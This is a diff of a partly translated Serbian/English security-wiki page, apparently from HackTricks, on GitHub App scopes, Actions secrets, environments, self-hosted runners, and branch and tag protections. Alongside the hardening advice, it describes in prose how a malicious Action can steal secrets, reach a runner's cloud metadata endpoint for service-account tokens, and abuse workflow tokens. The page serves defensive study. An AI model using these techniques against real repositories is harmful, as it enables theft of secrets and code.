obavi druge stvari. -- Ne pravite GitHub aplikaciju ako _samo_ želite da delujete kao GitHub korisnik i radite sve što taj korisnik može. -- Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete datoteke radnog toka, morate se autentifikovati u ime korisnika sa Oauth tokenom koji uključuje `workflow` opseg. Korisnik mora imati administratorske ili pisane dozvole za repozitorijum koji sadrži datoteku radnog toka. Za više informacija, pogledajte "[Razumevanje opsega za Oauth aplikacije](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- GitHub App bi trebalo da **take actions independent of a user** (osim ako app ne koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste učinili user-to-server access tokens sigurnijim, možete koristiti access tokens koji ističu nakon 8 sati, i refresh token koji se može zameniti za novi access token. Za više informacija, pogledajte "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Uverite se da se GitHub App integriše sa **specific repositories**. +- GitHub App treba da **connect to a personal account or an organisation**. +- Ne očekujte da GitHub App zna i radi sve što korisnik može. +- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Ali GitHub App može koristiti [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da loguje korisnike _and_ radi druge stvari. +- Ne pravite GitHub App ako želite _only_ da delujete kao GitHub user i radite sve što taj user može. +- Ako koristite vašu app sa GitHub Actions i želite da modifikujete workflow fajlove, morate se autentifikovati u ime korisnika sa OAuth token-om koji uključuje `workflow` scope. Korisnik mora imati admin ili write permission na repository koji sadrži workflow fajl. Za više informacija, pogledajte "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -Ovo **nije način za autentifikaciju u github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija. +Ovo **nije način za autentifikaciju u github**, ali jedna **malicious** Github Action može dobiti **unauthorised access to github** i **u zavisnosti** od **privileges** dodeljenih Action mogu biti izvedeni različiti **attacks**. Vidi dole za više informacija. -## Git akcije +## Git Actions -Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgraditi docker kontejner ili proveriti da PR ne sadrži tajne). +Git actions omogućavaju automatizaciju **execution of code when an event happen**. Obično se izvršava kod koji je **nekačim načinom vezan za kod repository** (možda build-a docker container ili proverava da li PR ne sadrži secrets). -### Konfiguracija +### Configuration -Na _https://github.com/organizations/\/settings/actions_ moguće je proveriti **konfiguraciju github akcija** za organizaciju. +U _https://github.com/organizations/\/settings/actions_ moguće je proveriti **configuration of the github actions** za organization. -Moguće je potpuno zabraniti korišćenje github akcija, **dozvoliti sve github akcije**, ili samo dozvoliti određene akcije. +Moguće je zabraniti korišćenje github actions potpuno, **allow all github actions**, ili dozvoliti samo određene actions. -Takođe je moguće konfigurisati **ko treba da dobije odobrenje za pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene. +Takođe je moguće konfigurisati **who needs approval to run a Github Action** i **permissions of the GITHUB_TOKEN** koje Github Action ima kada se izvrši. -### Git tajne +### Git Secrets -Github akcije obično trebaju neku vrstu tajni da bi interagovale sa github-om ili aplikacijama trećih strana. Da bi se **izbeglo stavljanje u čistom tekstu** u repozitorijum, github omogućava da se one postave kao **Tajne**. +Github Action obično treba neku vrstu secrets da bi komunicirao sa github ili third party aplikacijama. Da biste **izbegli stavljanje u clear-text** u repo, github omogućava da ih stavite kao **Secrets**. -Ove tajne mogu biti konfigurirane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao: +Ovi secrets se mogu konfigurisati **za repo or for all the organization**. Zatim, da bi **Action mogao da pristupi secret-u** potrebno je da ga deklarišete kao: ```yaml steps: - name: Hello world action @@ -168,75 +168,91 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Tajne informacije **mogu se pristupiti samo iz Github Actions** koje ih imaju deklarisane. +> Secrets **mogu biti pristupljeni samo iz Github Actions** koje su ih deklarisale. -> Kada su konfigurisane u repozitorijumu ili organizacijama, **korisnici Githuba više neće moći da im pristupe**, samo će moći da **promene**. +> Kada su konfigurisane u repo-u ili u okviru organizacije, **korisnici github-a više neće moći da im pristupe**, moći će samo da ih **promene**. -Dakle, **jedini način da se ukradu github tajne je da se pristupi mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action). +Dakle, **jedini način da ukradete github secrets je da imate pristup mašini koja izvršava Github Action** (u tom scenariju moći ćete da pristupite samo secrets deklarisanim za tu Action). -### Git Okruženja +### Git Environments -Github omogućava kreiranje **okruženja** gde možete sačuvati **tajne**. Zatim, možete dati github akciji pristup tajnama unutar okruženja sa nečim poput: +Github omogućava kreiranje **environments** gde možete sačuvati **secrets**. Zatim, možete dati github action pristup secrets unutar environment-a sa nečim poput: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -Možete konfigurisati okruženje da bude **pristupačno** **svim granama** (podrazumevano), **samo za zaštićene** grane ili **odrediti** koje grane mogu da mu pristupe.\ -Takođe može postaviti **broj potrebnih recenzija** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave. +Možete konfigurirati okruženje da bude **accessed** by **all branches** (default), **only protected** branches ili **specify** which branches mogu da mu pristupe.\ +Dodatno, zaštite okruženja uključuju: +- **Required reviewers**: zadržava gate jobs koji ciljaju okruženje dok se ne odobri. Omogućite **Prevent self-review** da biste primenili princip četiri oka i na samo odobrenje. +- **Deployment branches and tags**: ograničava koje grane/tagovi mogu deploy-ovati u okruženje. Preporučljivo je izabrati specifične grane/tagove i osigurati da su te grane zaštićene. Napomena: opcija "Protected branches only" se odnosi na klasične branch protections i možda se neće ponašati očekivano ako koristite rulesets. +- **Wait timer**: odlaže deploy-e za konfigurisani period. + +Takođe se može podesiti **number of required reviews** pre nego što se **execute** **an action** koristeći **environment**, ili **wait** neko **time** pre nego što se dozvole deploy-evi da nastave. ### Git Action Runner -Github akcija može biti **izvršena unutar github okruženja** ili može biti izvršena u **infrastrukturi treće strane** koju je konfigurisao korisnik. +A Github Action može biti **executed inside the github environment** ili može biti izvršen u **third party infrastructure** koju konfiguriše korisnik. -Nekoliko organizacija će dozvoliti pokretanje Github akcija u **infrastrukturi treće strane** jer obično bude **jeftinije**. +Neke organizacije dozvoljavaju pokretanje Github Actions u **third party infrastructure** jer je to često **cheaper**. -Možete **navesti self-hosted trkače** organizacije na _https://github.com/organizations/\/settings/actions/runners_ +Možete **list the self-hosted runners** organizacije na _https://github.com/organizations/\/settings/actions/runners_ -Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da potražite `runs-on: self-hosted` u yaml konfiguraciji Github akcije. +Način da se pronađe koje se **Github Actions are being executed in non-github infrastructure** je da pretražite za `runs-on: self-hosted` u Github Action konfiguracionom yaml-u. -**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer se **generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada. +Nije moguće da se Github Action organizacije izvršava unutar self hosted mašine druge organizacije zato što se pri konfiguraciji Runner-a **a unique token is generated for the Runner** koji određuje kojoj organizaciji runner pripada. -Ako je prilagođeni **Github trkač konfiguran na mašini unutar AWS-a ili GCP-a**, akcija **može imati pristup metapodacima** i **ukrasti token servisnog naloga** sa kojim mašina radi. +Ako je custom **Github Runner configured in a machine inside AWS or GCP**, na primer, Action **could have access to the metadata endpoint** i **steal the token of the service account** sa kojim mašina radi. ### Git Action Compromise -Ako su sve akcije (ili zla akcija) dozvoljene, korisnik bi mogao koristiti **Github akciju** koja je **zla** i koja će **kompromitovati** **kontejner** u kojem se izvršava. +Ako su sve akcije (ili jedna maliciozna akcija) dozvoljene, korisnik bi mogao upotrebiti **Github action** koja je **malicious** i kompromitovati **container** u kojem se izvršava. > [!CAUTION] -> **Zla Github akcija** može biti **zloupotrebljena** od strane napadača da: +> A **malicious Github Action** run može biti **abused** od strane napadača da: > -> - **Ukrade sve tajne** kojima akcija ima pristup -> - **Pomera se lateralno** ako se akcija izvršava unutar **infrastrukture treće strane** gde se može pristupiti SA tokenu koji se koristi za pokretanje mašine (verovatno putem usluge metapodataka) -> - **Zloupotrebi token** koji koristi **workflow** da **ukrade kod repozitorijuma** gde se akcija izvršava ili **čak da ga izmeni**. +> - **Steal all the secrets** kojima Action ima pristup +> - **Move laterally** ako se Action izvršava unutar **third party infrastructure** gde se SA token koji se koristi za pokretanje mašine može dohvatiti (verovatno preko metadata service) +> - **Abuse the token** koji koristi **workflow** da **steal the code of the repo** u kojem se Action izvršava ili čak **modify it**. ## Branch Protections -Zaštite grana su dizajnirane da **ne daju potpunu kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti nekoliko metoda zaštite pre nego što se može pisati kod unutar neke grane**. +Branch protections su dizajnirane da **not give complete control of a repository** korisnicima. Cilj je da se **put several protection methods before being able to write code inside some branch**. -**Zaštite grana repozitorijuma** mogu se pronaći na _https://github.com/\/\/settings/branches_ +The **branch protections of a repository** možete pronaći na _https://github.com/\/\/settings/branches_ > [!NOTE] -> **Nije moguće postaviti zaštitu grane na nivou organizacije**. Tako da sve one moraju biti deklarisane na svakom repozitorijumu. +> Nije **possible to set a branch protection at organization level**. Dakle, sve zaštite moraju biti deklarisane u svakom repo-u. -Različite zaštite mogu se primeniti na granu (kao na master): +Razne zaštite se mogu primeniti na granu (npr. master): -- Možete **zahtevati PR pre spajanja** (tako da ne možete direktno spojiti kod preko grane). Ako je ovo odabrano, različite druge zaštite mogu biti na snazi: -- **Zahtevati broj odobrenja**. Veoma je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR tako da jedan korisnik ne može direktno spojiti kod. -- **Odbaciti odobrenja kada su novi commitovi poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga. -- **Zahtevati recenzije od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu da ga odobre) -- **Ograničiti ko može da odbaci recenzije pull zahteva.** Možete odrediti ljude ili timove koji mogu da odbace recenzije pull zahteva. -- **Dozvoliti određenim akterima da zaobiđu zahteve pull zahteva**. Ovi korisnici će moći da zaobiđu prethodne restrikcije. -- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajnih podataka u čistom tekstu). -- **Zahtevati rešenje razgovora pre spajanja**. Svi komentari na kod moraju biti rešeni pre nego što se PR može spojiti. -- **Zahtevati potpisane commitove**. Commitovi moraju biti potpisani. -- **Zahtevati linearnu istoriju.** Sprečava spajanje commitova da budu poslati na odgovarajuće grane. -- **Uključiti administratore**. Ako ovo nije postavljeno, administratori mogu zaobići restrikcije. -- **Ograničiti ko može da šalje na odgovarajuće grane**. Ograničiti ko može da pošalje PR. +- Možete **require a PR before merging** (tako da ne možete direktno merge-ovati kod u granu). Ako je ovo izabrano, mogu biti prisutne i druge zaštite: +- **Require a number of approvals**. Veoma je često zahtevati 1 ili 2 osobe da odobre PR kako bi se sprečilo da jedna osoba direktno merge-uje kod. +- **Dismiss approvals when new commits are pushed**. Ako nije omogućeno, korisnik može odobriti legitiman kod, a zatim dodati maliciozan kod i merge-ovati ga. +- **Require approval of the most recent reviewable push**. Osigurava da svaki novi commit posle odobrenja (uključujući push-ove drugih saradnika) ponovo pokreće review tako da napadač ne može push-ovati izmene posle odobrenja i merge-ovati. +- **Require reviews from Code Owners**. Najmanje 1 code owner repoa mora odobriti PR (tako da "random" korisnici ne mogu odobriti). +- **Restrict who can dismiss pull request reviews.** Možete specificirati osobe ili timove koji su dozvoljeni da dismiss-uju pull request reviews. +- **Allow specified actors to bypass pull request requirements**. Ovi korisnici će moći da zaobiđu prethodna ograničenja. +- **Require status checks to pass before merging.** Neki check-ovi moraju proći pre nego što se može merge-ovati commit (npr. GitHub App koji izveštava SAST rezultate). Savet: vezujte required checks za specifičan GitHub App; u suprotnom bilo koji app može spoof-ovati check preko Checks API, a mnogi botovi prihvataju skip direktive (npr. "@bot-name skip"). +- **Require conversation resolution before merging**. Svi komentari na kod moraju biti rešeni pre nego što se PR može merge-ovati. +- **Require signed commits**. Commits moraju biti potpisani. +- **Require linear history.** Sprečava push-ovanje merge commit-ova na grane koje se poklapaju. +- **Include administrators**. Ako ovo nije postavljeno, administratori mogu zaobići ograničenja. +- **Restrict who can push to matching branches**. Ograničava ko može poslati PR. > [!NOTE] -> Kao što vidite, čak i ako uspete da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline. +> Kao što vidite, čak i ako uspete da dobijete kredencijale nekog korisnika, **repos might be protected avoiding you to pushing code to master** na primer, da biste kompromitovali CI/CD pipeline. + +## Tag Protections + +Tagovi (npr. latest, stable) su po defaultu mutable. Da biste primenili tok rada sa četiri oka na update tagova, zaštitite tagove i povežite zaštite kroz enviroments i grane: + +1) Na pravilu za zaštitu tagova, omogućite **Require deployments to succeed** i zahtevajte uspešan deploy u zaštićeno okruženje (npr. prod). +2) U ciljanom okruženju, ograničite **Deployment branches and tags** na release branch (npr. main) i opciono konfigurišite **Required reviewers** sa **Prevent self-review**. +3) Na release grani, konfigurišite branch protections da **Require a pull request**, postavite approvals ≥ 1, i omogućite i **Dismiss approvals when new commits are pushed** i **Require approval of the most recent reviewable push**. + +Ovaj lanac sprečava jednog saradnika da ponovo tag-uje ili force-publish-uje releasove menjajući workflow YAML, jer su deployment gate-ovi sprovedeni van workflow-a. ## References @@ -245,5 +261,10 @@ Različite zaštite mogu se primeniti na granu (kao na master): - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github) - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards) - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) +- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) +- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/) +- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs) +- [https://docs.github.com/en/apps](https://docs.github.com/en/apps) +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) {{#include ../../banners/hacktricks-training.md}}